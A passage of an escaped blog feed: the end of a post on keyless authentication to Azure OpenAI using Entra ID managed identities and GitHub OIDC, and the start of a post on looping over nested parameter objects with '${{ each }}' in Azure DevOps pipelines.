style='font-size:1em'\u003e.\u003c/text\u003e\n\u003ctext text-anchor='middle' x='288' y='4' fill='currentColor' style='font-size:1em'\u003eE\u003c/text\u003e\n\u003ctext text-anchor='middle' x='288' y='84' fill='currentColor' style='font-size:1em'\u003eV\u003c/text\u003e\n\u003ctext text-anchor='middle' x='288' y='116' fill='currentColor' style='font-size:1em'\u003eI\u003c/text\u003e\n\u003ctext text-anchor='middle' x='296' y='4' fill='currentColor' style='font-size:1em'\u003en\u003c/text\u003e\n\u003ctext text-anchor='middle' x='296' y='84' fill='currentColor' style='font-size:1em'\u003ee\u003c/text\u003e\n\u003ctext text-anchor='middle' x='296' y='116' fill='currentColor' style='font-size:1em'\u003es\u003c/text\u003e\n\u003ctext text-anchor='middle' x='304' y='4' fill='currentColor' style='font-size:1em'\u003et\u003c/text\u003e\n\u003ctext text-anchor='middle' x='304' y='84' fill='currentColor' style='font-size:1em'\u003er\u003c/text\u003e\n\u003ctext text-anchor='middle' x='304' y='116' fill='currentColor' style='font-size:1em'\u003es\u003c/text\u003e\n\u003ctext text-anchor='middle' x='312' y='4' fill='currentColor' style='font-size:1em'\u003er\u003c/text\u003e\n\u003ctext text-anchor='middle' x='312' y='84' fill='currentColor' style='font-size:1em'\u003ei\u003c/text\u003e\n\u003ctext text-anchor='middle' x='312' y='116' fill='currentColor' style='font-size:1em'\u003eu\u003c/text\u003e\n\u003ctext text-anchor='middle' x='320' y='4' fill='currentColor' style='font-size:1em'\u003ea\u003c/text\u003e\n\u003ctext text-anchor='middle' x='320' y='84' fill='currentColor' style='font-size:1em'\u003ef\u003c/text\u003e\n\u003ctext text-anchor='middle' x='320' y='116' fill='currentColor' style='font-size:1em'\u003ee\u003c/text\u003e\n\u003ctext text-anchor='middle' x='328' y='84' fill='currentColor' style='font-size:1em'\u003ey\u003c/text\u003e\n\u003ctext text-anchor='middle' x='336' y='4' fill='currentColor' style='font-size:1em'\u003eI\u003c/text\u003e\n\u003ctext text-anchor='middle' x='336' y='116' fill='currentColor' style='font-size:1em'\u003eA\u003c/text\u003e\n\u003ctext text-anchor='middle' x='344' y='4' fill='currentColor' style='font-size:1em'\u003eD\u003c/text\u003e\n\u003ctext text-anchor='middle' x='344' y='84' fill='currentColor' style='font-size:1em'\u003eF\u003c/text\u003e\n\u003ctext text-anchor='middle' x='344' y='116' fill='currentColor' style='font-size:1em'\u003ez\u003c/text\u003e\n\u003ctext text-anchor='middle' x='352' y='84' fill='currentColor' style='font-size:1em'\u003ee\u003c/text\u003e\n\u003ctext text-anchor='middle' x='352' y='116' fill='currentColor' style='font-size:1em'\u003eu\u003c/text\u003e\n\u003ctext text-anchor='middle' x='360' y='4' fill='currentColor' style='font-size:1em'\u003e(\u003c/text\u003e\n\u003ctext text-anchor='middle' x='360' y='84' fill='currentColor' style='font-size:1em'\u003ed\u003c/text\u003e\n\u003ctext text-anchor='middle' x='360' y='116' fill='currentColor' style='font-size:1em'\u003er\u003c/text\u003e\n\u003ctext text-anchor='middle' x='368' y='4' fill='currentColor' style='font-size:1em'\u003eA\u003c/text\u003e\n\u003ctext text-anchor='middle' x='368' y='84' fill='currentColor' style='font-size:1em'\u003ee\u003c/text\u003e\n\u003ctext text-anchor='middle' x='368' y='116' fill='currentColor' style='font-size:1em'\u003ee\u003c/text\u003e\n\u003ctext text-anchor='middle' x='376' y='4' fill='currentColor' style='font-size:1em'\u003ez\u003c/text\u003e\n\u003ctext text-anchor='middle' x='376' y='84' fill='currentColor' style='font-size:1em'\u003er\u003c/text\u003e\n\u003ctext text-anchor='middle' x='384' y='4' fill='currentColor' style='font-size:1em'\u003eu\u003c/text\u003e\n\u003ctext text-anchor='middle' x='384' y='84' fill='currentColor' style='font-size:1em'\u003ea\u003c/text\u003e\n\u003ctext text-anchor='middle' x='384' y='116' fill='currentColor' style='font-size:1em'\u003eA\u003c/text\u003e\n\u003ctext text-anchor='middle' x='392' y='4' fill='currentColor' style='font-size:1em'\u003er\u003c/text\u003e\n\u003ctext text-anchor='middle' x='392' y='84' fill='currentColor' style='font-size:1em'\u003et\u003c/text\u003e\n\u003ctext text-anchor='middle' x='392' y='116' fill='currentColor' style='font-size:1em'\u003ec\u003c/text\u003e\n\u003ctext text-anchor='middle' x='400' y='4' fill='currentColor' style='font-size:1em'\u003ee\u003c/text\u003e\n\u003ctext text-anchor='middle' x='400' y='84' fill='currentColor' style='font-size:1em'\u003ee\u003c/text\u003e\n\u003ctext text-anchor='middle' x='400' y='116' fill='currentColor' style='font-size:1em'\u003ec\u003c/text\u003e\n\u003ctext text-anchor='middle' x='408' y='4' fill='currentColor' style='font-size:1em'\u003e)\u003c/text\u003e\n\u003ctext text-anchor='middle' x='408' y='84' fill='currentColor' style='font-size:1em'\u003ed\u003c/text\u003e\n\u003ctext text-anchor='middle' x='408' y='116' fill='currentColor' style='font-size:1em'\u003ee\u003c/text\u003e\n\u003ctext text-anchor='middle' x='416' y='116' fill='currentColor' style='font-size:1em'\u003es\u003c/text\u003e\n\u003ctext text-anchor='middle' x='424' y='4' fill='currentColor' style='font-size:1em'\u003e]\u003c/text\u003e\n\u003ctext text-anchor='middle' x='424' y='84' fill='currentColor' style='font-size:1em'\u003eC\u003c/text\u003e\n\u003ctext text-anchor='middle' x='424' y='116' fill='currentColor' style='font-size:1em'\u003es\u003c/text\u003e\n\u003ctext text-anchor='middle' x='432' y='84' fill='currentColor' style='font-size:1em'\u003er\u003c/text\u003e\n\u003ctext text-anchor='middle' x='440' y='84' fill='currentColor' style='font-size:1em'\u003ee\u003c/text\u003e\n\u003ctext text-anchor='middle' x='440' y='116' fill='currentColor' style='font-size:1em'\u003eT\u003c/text\u003e\n\u003ctext text-anchor='middle' x='448' y='84' fill='currentColor' style='font-size:1em'\u003ed\u003c/text\u003e\n\u003ctext text-anchor='middle' x='448' y='116' fill='currentColor' style='font-size:1em'\u003eo\u003c/text\u003e\n\u003ctext text-anchor='middle' x='456' y='84' fill='currentColor' style='font-size:1em'\u003ee\u003c/text\u003e\n\u003ctext text-anchor='middle' x='456' y='116' fill='currentColor' style='font-size:1em'\u003ek\u003c/text\u003e\n\u003ctext text-anchor='middle' x='464' y='84' fill='currentColor' style='font-size:1em'\u003en\u003c/text\u003e\n\u003ctext text-anchor='middle' x='464' y='116' fill='currentColor' style='font-size:1em'\u003ee\u003c/text\u003e\n\u003ctext text-anchor='middle' x='472' y='84' fill='currentColor' style='font-size:1em'\u003et\u003c/text\u003e\n\u003ctext text-anchor='middle' x='472' y='116' fill='currentColor' style='font-size:1em'\u003en\u003c/text\u003e\n\u003ctext text-anchor='middle' x='480' y='84' fill='currentColor' style='font-size:1em'\u003ei\u003c/text\u003e\n\u003ctext text-anchor='middle' x='488' y='84' fill='currentColor' style='font-size:1em'\u003ea\u003c/text\u003e\n\u003ctext text-anchor='middle' x='496' y='84' fill='currentColor' style='font-size:1em'\u003el\u003c/text\u003e\n\u003ctext text-anchor='middle' x='536' y='4' fill='currentColor' style='font-size:1em'\u003e[\u003c/text\u003e\n\u003ctext text-anchor='middle' x='552' y='4' fill='currentColor' style='font-size:1em'\u003eA\u003c/text\u003e\n\u003ctext text-anchor='middle' x='560' y='4' fill='currentColor' style='font-size:1em'\u003ez\u003c/text\u003e\n\u003ctext text-anchor='middle' x='568' y='4' fill='currentColor' style='font-size:1em'\u003eu\u003c/text\u003e\n\u003ctext text-anchor='middle' x='576' y='4' fill='currentColor' style='font-size:1em'\u003er\u003c/text\u003e\n\u003ctext text-anchor='middle' x='584' y='4' fill='currentColor' style='font-size:1em'\u003ee\u003c/text\u003e\n\u003ctext text-anchor='middle' x='600' y='4' fill='currentColor' style='font-size:1em'\u003eO\u003c/text\u003e\n\u003ctext text-anchor='middle' x='608' y='4' fill='currentColor' style='font-size:1em'\u003ep\u003c/text\u003e\n\u003ctext text-anchor='middle' x='616' y='4' fill='currentColor' style='font-size:1em'\u003ee\u003c/text\u003e\n\u003ctext text-anchor='middle' x='624' y='4' fill='currentColor' style='font-size:1em'\u003en\u003c/text\u003e\n\u003ctext text-anchor='middle' x='632' y='4' fill='currentColor' style='font-size:1em'\u003eA\u003c/text\u003e\n\u003ctext text-anchor='middle' x='640' y='4' fill='currentColor' style='font-size:1em'\u003eI\u003c/text\u003e\n\u003ctext text-anchor='middle' x='656' y='4' fill='currentColor' style='font-size:1em'\u003e]\u003c/text\u003e\n\u003c/g\u003e\n\n\t\t\u003c/svg\u003e\n\t\n\u003c/div\u003e\n\u003ch3 id=\"configuring-oidc\"\u003eConfiguring OIDC\u003c/h3\u003e\n\u003col\u003e\n\u003cli\u003eCreate a User-Assigned Managed Identity.\u003c/li\u003e\n\u003cli\u003eAdd a \u003cstrong\u003eFederated Credential\u003c/strong\u003e to the identity pointing to your GitHub repository and branch (e.g., \u003ccode\u003erepo:my-org/my-repo:ref:refs/heads/main\u003c/code\u003e).\u003c/li\u003e\n\u003cli\u003eUse the \u003ccode\u003eazure/login\u003c/code\u003e action in your workflow with the \u003ccode\u003eclient-id\u003c/code\u003e, \u003ccode\u003etenant-id\u003c/code\u003e, and \u003ccode\u003esubscription-id\u003c/code\u003e.\u003c/li\u003e\n\u003c/ol\u003e\n\u003cp\u003eThe \u003ccode\u003eazure/login\u003c/code\u003e action injects the necessary environment variables so subsequent Python or PowerShell steps using \u003ccode\u003eDefaultAzureCredential\u003c/code\u003e work automatically. You no longer need \u003ccode\u003eAZURE_OPENAI_API_KEY\u003c/code\u003e in your repository secrets.\u003c/p\u003e\n\u003ch2 id=\"6-secretless-local-development\"\u003e6. Secretless Local Development\u003c/h2\u003e\n\u003cp\u003eYour developers should not have API keys on their local machines either. Assign the \u003cstrong\u003eCognitive Services OpenAI User\u003c/strong\u003e role to individual developer accounts or an Entra ID security group.\u003c/p\u003e\n\u003cp\u003eOnce assigned, developers run \u003ccode\u003eaz login\u003c/code\u003e once. \u003ccode\u003eDefaultAzureCredential\u003c/code\u003e picks up their personal identity, and they call the AI service without ever seeing a key. To avoid quota exhaustion on production resources, point local development to a dedicated \u0026ldquo;Dev\u0026rdquo; OpenAI account.\u003c/p\u003e\n\u003ch2 id=\"hands-on-example-migrating-a-pipeline\"\u003eHands-On Example: Migrating a Pipeline\u003c/h2\u003e\n\u003cp\u003eTo migrate a GitHub Actions pipeline from keys to identity:\u003c/p\u003e\n\u003col\u003e\n\u003cli\u003e\u003cstrong\u003eIdentity:\u003c/strong\u003e Create a User-Assigned identity and grant it the \u003ccode\u003eOpenAI User\u003c/code\u003e role on your resource.\u003c/li\u003e\n\u003cli\u003e\u003cstrong\u003eFederation:\u003c/strong\u003e Create the federated credential for your GitHub repo.\u003c/li\u003e\n\u003cli\u003e\u003cstrong\u003eCode:\u003c/strong\u003e Update your script to use \u003ccode\u003eazure_ad_token_provider\u003c/code\u003e and \u003ccode\u003eDefaultAzureCredential\u003c/code\u003e.\u003c/li\u003e\n\u003cli\u003e\u003cstrong\u003eWorkflow:\u003c/strong\u003e Update the YAML to use \u003ccode\u003eazure/login@v2\u003c/code\u003e with OIDC.\u003c/li\u003e\n\u003cli\u003e\u003cstrong\u003eCleanup:\u003c/strong\u003e Delete the \u003ccode\u003eAZURE_OPENAI_API_KEY\u003c/code\u003e secret from GitHub and rotate the key in the Azure portal to a random value before disabling it.\u003c/li\u003e\n\u003c/ol\u003e\n\u003ch2 id=\"key-takeaways\"\u003eKey Takeaways\u003c/h2\u003e\n\u003col\u003e\n\u003cli\u003e\u003cstrong\u003eKeys are Bearer Tokens:\u003c/strong\u003e They provide no identity context and are high-risk assets.\u003c/li\u003e\n\u003cli\u003e\u003cstrong\u003eManaged Identity is Auditable:\u003c/strong\u003e Every call is logged in Azure Monitor with the caller\u0026rsquo;s object ID.\u003c/li\u003e\n\u003cli\u003e\u003cstrong\u003eDAC is the Standard:\u003c/strong\u003e \u003ccode\u003eDefaultAzureCredential\u003c/code\u003e provides a single auth path for local, CI/CD, and production environments.\u003c/li\u003e\n\u003cli\u003e\u003cstrong\u003eScope is Critical:\u003c/strong\u003e Always assign roles at the resource level, never higher.\u003c/li\u003e\n\u003cli\u003e\u003cstrong\u003eFederation Removes Secrets:\u003c/strong\u003e OIDC for GitHub and AKS eliminates the need for client secrets or API keys in deployment configurations.\u003c/li\u003e\n\u003c/ol\u003e\n\u003ch2 id=\"sources\"\u003eSources\u003c/h2\u003e\n\u003cul\u003e\n\u003cli\u003e\u003ca href=\"https://learn.microsoft.com/en-us/azure/ai-services/authentication\"\u003eMicrosoft Learn: Authenticate to Azure AI services with Entra ID\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://learn.microsoft.com/en-us/azure/ai-services/openai/how-to/role-based-access-control\"\u003eMicrosoft Learn: Azure OpenAI RBAC roles\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://learn.microsoft.com/en-us/python/api/azure-identity/azure.identity.defaultazurecredential\"\u003eAzure SDK for Python: DefaultAzureCredential\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://docs.github.com/en/actions/deployment/security-hardening-your-deployments/configuring-openid-connect-in-azure\"\u003eGitHub Actions: Configuring OIDC with Azure\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003c!--\n### Image Generation Prompts\n\n**Prompt 1 — 3D Abstract / Isometric**\nWide landscape format, 16:9 aspect ratio. A clean Blender-style isometric 3D illustration. On the left side of the frame, a physical key made of dull gray metal sits on a platform, cracking and dissolving into dust particles. On the right side, a sleek glowing identity badge — represented as a smooth hexagonal token with a luminous azure ring — floats above the platform and connects via a beam of light to a secure node in the background. The contrast communicates the transition from static credentials to cryptographic identity. Deep navy background, cool blue and silver accent lighting, no text, no labels.\n\n**Prompt 2 — Cyber-Industrial / Data Flow**\nWide landscape format, 16:9 aspect ratio. A high-contrast dark environment showing an authentication chain as a sequential cascade of glowing rings. A compute node on the far left emits a pulse that travels rightward through three hovering verification rings — each one illuminating briefly as the pulse passes through — before arriving at a secured AI service node on the far right that opens like an iris. No physical key or password prompt is visible anywhere in the chain; the authentication is invisible and automatic. Deep black background, electric blue and white accent colors, no text, no UI elements.\n\n**Prompt 3 — Minimalist Vector / Flat**\nWide landscape format, 16:9 aspect ratio. A flat vector illustration using a strict palette of deep navy, white, and teal. Center-left: a classic physical key silhouette shown with a diagonal strikethrough line indicating it is prohibited — rendered in muted gray. Center-right: a clean abstract identity fingerprint pattern made of concentric arc lines, glowing teal. Between the two symbols, a thin horizontal arrow points from the key toward the identity mark. Surrounding negative space is filled with deep navy. No text, no labels, no gradients, flat fills only with minimal geometric details.\n\n**Prompt 4 — Photorealistic / Cinematic**\nWide landscape format, 16:9 aspect ratio. A cinematic macro-style photograph of a heavy-duty padlock in the foreground with its keyhole sealed shut — filled with a smooth glowing teal material, suggesting keyhole elimination. Behind the padlock, a soft-focus background shows the interior of a data center corridor with cool blue ambient lighting from floor-level LED strips. The padlock is the sole sharp object in the frame; the background is all smooth bokeh. Dramatic chiaroscuro lighting with a teal accent glow emanating from the sealed keyhole. No text, no UI elements, no faces.\n--\u003e\n","description":"Replace Azure OpenAI API keys with Entra ID Managed Identities and DefaultAzureCredential across VMs, AKS, Functions, and CI/CD pipelines.","image":"images/featured.webp","permalink":"https://larryjameshenry.com/posts/keyless-ai-entra-id-managed-identities-azure-openai/","title":"Keyless AI: Using Entra ID Managed Identities for Azure OpenAI"},{"content":"\u003cp\u003eYou have a deployment pipeline that needs to hit 12 different Azure regions. You could copy and paste the same 50 lines of YAML 12 times—but now you have a 600-line file that is impossible to maintain. When the security team mandates a new compliance step, you have to update it in 12 places. This is the definition of \u0026ldquo;DevOps Debt.\u0026rdquo;\u003c/p\u003e\n\u003cp\u003eThe \u003ccode\u003e${{ each }}\u003c/code\u003e keyword is the primary tool for \u0026ldquo;Meta-Programming\u0026rdquo; in Azure DevOps. It allows you to transform data (parameters) into pipeline structure (jobs and stages). While simple string loops are common, most enterprise requirements involve complex nested objects—such as a list of environments, each containing a list of regions, each with a specific VM SKU. Maneuvering these objects without hitting the \u0026ldquo;100-level nesting\u0026rdquo; cap or causing significant \u0026ldquo;Initialization Lag\u0026rdquo; requires a specific set of architectural patterns. This guide teaches you how to master the \u003ccode\u003eeach\u003c/code\u003e keyword for large-scale automation, from object-based looping to conditional filtering.\u003c/p\u003e\n\u003ch2 id=\"1-the-basics-of-object-based-looping\"\u003e1. The Basics of Object-Based Looping\u003c/h2\u003e\n\u003cp\u003eTo move beyond simple string arrays, you must define your parameters as rich object lists. This allows you to bundle all related configuration for a specific deployment target into a single unit of data.\u003c/p\u003e\n\u003ch3 id=\"11-moving-beyond-string-arrays\"\u003e1.1: Moving Beyond String Arrays\u003c/h3\u003e\n\u003cp\u003eInstead of a simple list like \u003ccode\u003e['eastus', 'westus']\u003c/code\u003e, define a schema that carries the context your tasks need.\u003c/p\u003e\n\u003cdiv class=\"highlight\"\u003e\u003cpre tabindex=\"0\" style=\"color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;\"\u003e\u003ccode class=\"language-yaml\" data-lang=\"yaml\"\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\u003cspan style=\"color:#f92672\"\u003eparameters\u003c/span\u003e:\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e- \u003cspan style=\"color:#f92672\"\u003ename\u003c/span\u003e: \u003cspan style=\"color:#ae81ff\"\u003eregions\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e  \u003cspan style=\"color:#f92672\"\u003etype\u003c/span\u003e: \u003cspan style=\"color:#ae81ff\"\u003eobject\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e  \u003cspan style=\"color:#f92672\"\u003edefault\u003c/span\u003e:\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e    - \u003cspan style=\"color:#f92672\"\u003ename\u003c/span\u003e: \u003cspan style=\"color:#e6db74\"\u003e\u0026#39;eastus\u0026#39;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e      \u003cspan style=\"color:#f92672\"\u003esku\u003c/span\u003e: \u003cspan style=\"color:#e6db74\"\u003e\u0026#39;Standard_D2\u0026#39;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e    - \u003cspan style=\"color:#f92672\"\u003ename\u003c/span\u003e: \u003cspan style=\"color:#e6db74\"\u003e\u0026#39;westus\u0026#39;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e      \u003cspan style=\"color:#f92672\"\u003esku\u003c/span\u003e: \u003cspan style=\"color:#e6db74\"\u003e\u0026#39;Standard_D4\u0026#39;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\u003cp\u003eYou iterate through this list using \u003ccode\u003e${{ each region in parameters.regions }}\u003c/code\u003e. Inside the loop, the variable \u003ccode\u003eregion\u003c/code\u003e represents the current object in the array.\u003c/p\u003e\n\u003ch3 id=\"12-accessing-nested-properties\"\u003e1.2: Accessing Nested Properties\u003c/h3\u003e\n\u003cp\u003eAccess properties using standard dot notation: \u003ccode\u003e${{ region.sku }}\u003c/code\u003e. For optional properties, always use the \u003ccode\u003ecoalesce()\u003c/code\u003e function to provide a safe fallback. This prevents \u0026ldquo;Null Reference\u0026rdquo; errors during the YAML expansion phase if a specific region object is missing a field.\n\u003ccode\u003evmSize: ${{ coalesce(region.sku, 'Standard_B2s') }}\u003c/code\u003e.\u003c/p\u003e\n\u003ch2 id=\"2-patterns-for-multi-stage-dynamic-layouts\"\u003e2. Patterns for Multi-Stage Dynamic Layouts\u003c/h2\u003e\n\u003cp\u003eThe power of \u003ccode\u003e${{ each }}\u003c/code\u003e is most apparent when generating the top-level structure of your pipeline.\u003c/p\u003e\n\u003ch3 id=\"21-the-environment---region-pattern\"\u003e2.1: The Environment -\u0026gt; Region Pattern\u003c/h3\u003e\n\u003cp\u003eNested loops allow you to generate a 3nd-tier deployment layout (e.g., Dev -\u0026gt; Test -\u0026gt; Prod) where each environment contains multiple regions.\u003c/p\u003e\n\u003ch4 id=\"nested-each-loop-expansion\"\u003eNested each Loop Expansion\u003c/h4\u003e\n\n\n\n\u003cdiv class=\"goat svg-container \"\u003e\n\t\n\t\t\u003csvg\n\t\t\txmlns=\"http://www.w3.org/2000/svg\"\n\t\t\tfont-family=\"Menlo,Lucida Console,monospace\"\n\t\t\t\n\t\t\t\tviewBox=\"0 0 736 217\"\n\t\t\t\u003e\n\t\t\t\u003cg transform='translate(8,16)'\u003e\n\u003cpath d='M 376,128 L 616,128' fill='none' stroke='currentColor'\u003e\u003c/path\u003e\n\u003cpath d='M 104,8 L 104,24' fill='none' stroke='currentColor'\u003e\u003c/path\u003e\n\u003cpath d='M 104,48 L 104,192' fill='none' stroke='currentColor'\u003e\u003c/path\u003e\n\u003cpath d='M 368,16 L 368,48' fill='none' stroke='currentColor'\u003e\u003c/path\u003e\n\u003cpath d='M 368,72 L 368,88' fill='none' stroke='currentColor'\u003e\u003c/path\u003e\n\u003cpath d='M 368,128 L 368,192' fill='none' stroke='currentColor'\u003e\u003c/path\u003e\n\u003cpath d='M 624,16 L 624,144' fill='none' stroke='currentColor'\u003e\u003c/path\u003e\n\u003cpath d='M 624,176 L 624,192' fill='none' stroke='currentColor'\u003e\u003c/path\u003e\n\u003cpolygon points='624.000000,128.000000 612.000000,122.400002 612.000000,133.600006' fill='currentColor' transform='rotate(0.000000, 616.000000, 128.000000)'\u003e\u003c/polygon\u003e\n\u003cpolygon points='632.000000,144.000000 620.000000,138.399994 620.000000,149.600006' fill='currentColor' transform='rotate(90.000000, 624.000000, 144.000000)'\u003e\u003c/polygon\u003e\n\u003ccircle cx='624' cy='176' r='6' stroke='currentColor' fill='#fff'\u003e\u003c/circle\u003e\n\u003ctext text-anchor='middle' x='48' y='4' fill='currentColor' style='font-size:1em'\u003e[\u003c/text\u003e\n\u003ctext text-anchor='middle' x='48' y='36' fill='currentColor' style='font-size:1em'\u003e1\u003c/text\u003e\n\u003ctext text-anchor='middle' x='56' y='36' fill='currentColor' style='font-size:1em'\u003e.\u003c/text\u003e\n\u003ctext text-anchor='middle' x='64' y='4' fill='currentColor' style='font-size:1em'\u003eY\u003c/text\u003e\n\u003ctext text-anchor='middle' x='72' y='4' fill='currentColor' style='font-size:1em'\u003eA\u003c/text\u003e\n\u003ctext text-anchor='middle' x='72' y='36' fill='currentColor' style='font-size:1em'\u003ee\u003c/text\u003e\n\u003ctext text-anchor='middle' x='80' y='4' fill='currentColor' style='font-size:1em'\u003eM\u003c/text\u003e\n\u003ctext text-anchor='middle' x='80' y='36' fill='currentColor' style='font-size:1em'\u003ea\u003c/text\u003e\n\u003ctext text-anchor='middle' x='88' y='4' fill='currentColor' style='font-size:1em'\u003eL\u003c/text\u003e\n\u003ctext text-anchor='middle' x='88' y='36' fill='currentColor' style='font-size:1em'\u003ec\u003c/text\u003e\n\u003ctext text-anchor='middle' x='96' y='36' fill='currentColor' style='font-size:1em'\u003eh\u003c/text\u003e\n\u003ctext text-anchor='middle' x='104' y='4' fill='currentColor' style='font-size:1em'\u003eC\u003c/text\u003e\n\u003ctext text-anchor='middle' x='112' y='4' fill='currentColor' style='font-size:1em'\u003eO\u003c/text\u003e\n\u003ctext text-anchor='middle' x='112' y='36' fill='currentColor' style='font-size:1em'\u003ee\u003c/text\u003e\n\u003ctext text-anchor='middle' x='120' y='4' fill='currentColor' style='font-size:1em'\u003eD\u003c/text\u003e\n\u003ctext text-anchor='middle' x='120' y='36' fill='currentColor' style='font-size:1em'\u003en\u003c/text\u003e\n\u003ctext text-anchor='middle' x='128' y='4' fill='currentColor' style='font-size:1em'\u003eE\u003c/text\u003e\n\u003ctext text-anchor='middle' x='128' y='36' fill='currentColor' style='font-size:1em'\u003ev\u003c/text\u003e\n\u003ctext text-anchor='middle' x='144' y='4' fill='currentColor' style='font-size:1em'\u003e]\u003c/text\u003e\n\u003ctext text-anchor='middle' x='144' y='36' fill='currentColor' style='font-size:1em'\u003ei\u003c/text\u003e\n\u003ctext text-anchor='middle' x='152' y='36' fill='currentColor' style='font-size:1em'\u003en\u003c/text\u003e\n\u003ctext text-anchor='middle' x='168' y='36' fill='currentColor' style='font-size:1em'\u003eE\u003c/text\u003e\n\u003ctext text-anchor='middle' x='176' y='36' fill='currentColor' style='font-size:1em'\u003en\u003c/text\u003e\n\u003ctext text-anchor='middle' x='184' y='36' fill='currentColor' style='font-size:1em'\u003ev\u003c/text\u003e\n\u003ctext text-anchor='middle' x='192' y='36' fill='currentColor' style='font-size:1em'\u003es\u003c/text\u003e\n\u003ctext text-anchor='middle' x='288' y='68' fill='currentColor' style='font-size:1em'\u003e2\u003c/text\u003e\n\u003ctext text-anchor='middle' x='288' y='100' fill='currentColor' style='font-size:1em'\u003e3\u003c/text\u003e\n\u003ctext text-anchor='middle' x='296' y='4' fill='currentColor' style='font-size:1em'\u003e[\u003c/text\u003e\n\u003ctext text-anchor='middle' x='296' y='68' fill='currentColor' style='font-size:1em'\u003e.\u003c/text\u003e\n\u003ctext text-anchor='middle' x='296' y='100' fill='currentColor' style='font-size:1em'\u003e.\u003c/text\u003e\n\u003ctext text-anchor='middle' x='312' y='4' fill='currentColor' style='font-size:1em'\u003eE\u003c/text\u003e\n\u003ctext text-anchor='middle' x='312' y='68' fill='currentColor' style='font-size:1em'\u003ee\u003c/text\u003e\n\u003ctext text-anchor='middle' x='312' y='100' fill='currentColor' style='font-size:1em'\u003e[\u003c/text\u003e\n\u003ctext text-anchor='middle' x='312' y='116' fill='currentColor' style='font-size:1em'\u003eN\u003c/text\u003e\n\u003ctext text-anchor='middle' x='320' y='4' fill='currentColor' style='font-size:1em'\u003eX\u003c/text\u003e\n\u003ctext text-anchor='middle' x='320' y='68' fill='currentColor' style='font-size:1em'\u003ea\u003c/text\u003e\n\u003ctext text-anchor='middle' x='320' y='116' fill='currentColor' style='font-size:1em'\u003ea\u003c/text\u003e\n\u003ctext text-anchor='middle' x='328' y='4' fill='currentColor' style='font-size:1em'\u003eP\u003c/text\u003e\n\u003ctext text-anchor='middle' x='328' y='68' fill='currentColor' style='font-size:1em'\u003ec\u003c/text\u003e\n\u003ctext text-anchor='middle' x='328' y='100' fill='currentColor' style='font-size:1em'\u003eG\u003c/text\u003e\n\u003ctext text-anchor='middle' x='328' y='116' fill='currentColor' style='font-size:1em'\u003em\u003c/text\u003e\n\u003ctext text-anchor='middle' x='336' y='4' fill='currentColor' style='font-size:1em'\u003eA\u003c/text\u003e\n\u003ctext text-anchor='middle' x='336' y='68' fill='currentColor' style='font-size:1em'\u003eh\u003c/text\u003e\n\u003ctext text-anchor='middle' x='336' y='100' fill='currentColor' style='font-size:1em'\u003eE\u003c/text\u003e\n\u003ctext text-anchor='middle' x='336' y='116' fill='currentColor' style='font-size:1em'\u003ee\u003c/text\u003e\n\u003ctext text-anchor='middle' x='344' y='4' fill='currentColor' style='font-size:1em'\u003eN\u003c/text\u003e\n\u003ctext text-anchor='middle' x='344' y='100' fill='currentColor' style='font-size:1em'\u003eN\u003c/text\u003e\n\u003ctext text-anchor='middle' x='344' y='116' fill='currentColor' style='font-size:1em'\u003e:\u003c/text\u003e\n\u003ctext text-anchor='middle' x='352' y='4' fill='currentColor' style='font-size:1em'\u003eS\u003c/text\u003e\n\u003ctext text-anchor='middle' x='352' y='68' fill='currentColor' style='font-size:1em'\u003er\u003c/text\u003e\n\u003ctext text-anchor='middle' x='352' y='100' fill='currentColor' style='font-size:1em'\u003eE\u003c/text\u003e\n\u003ctext text-anchor='middle' x='360' y='4' fill='currentColor' style='font-size:1em'\u003eI\u003c/text\u003e\n\u003ctext text-anchor='middle' x='360' y='68' fill='currentColor' style='font-size:1em'\u003ee\u003c/text\u003e\n\u003ctext text-anchor='middle' x='360' y='100' fill='currentColor' style='font-size:1em'\u003eR\u003c/text\u003e\n\u003ctext text-anchor='middle' x='360' y='116' fill='currentColor' style='font-size:1em'\u003e$\u003c/text\u003e\n\u003ctext text-anchor='middle' x='368' y='4' fill='currentColor' style='font-size:1em'\u003eO\u003c/text\u003e\n\u003ctext text-anchor='middle' x='368' y='68' fill='currentColor' style='font-size:1em'\u003eg\u003c/text\u003e\n\u003ctext text-anchor='middle' x='368' y='100' fill='currentColor' style='font-size:1em'\u003eA\u003c/text\u003e\n\u003ctext text-anchor='middle' x='368' y='116' fill='currentColor' style='font-size:1em'\u003e{\u003c/text\u003e\n\u003ctext text-anchor='middle' x='376' y='4' fill='currentColor' style='font-size:1em'\u003eN\u003c/text\u003e\n\u003ctext text-anchor='middle' x='376' y='100' fill='currentColor' style='font-size:1em'\u003eT\u003c/text\u003e\n\u003ctext text-anchor='middle' x='376' y='116' fill='currentColor' style='font-size:1em'\u003e{\u003c/text\u003e\n\u003ctext text-anchor='middle' x='384' y='68' fill='currentColor' style='font-size:1em'\u003ei\u003c/text\u003e\n\u003ctext text-anchor='middle' x='384' y='100' fill='currentColor' style='font-size:1em'\u003eI\u003c/text\u003e\n\u003ctext text-anchor='middle' x='392' y='4' fill='currentColor' style='font-size:1em'\u003eE\u003c/text\u003e\n\u003ctext text-anchor='middle' x='392' y='68' fill='currentColor' style='font-size:1em'\u003en\u003c/text\u003e\n\u003ctext text-anchor='middle' x='392' y='100' fill='currentColor' 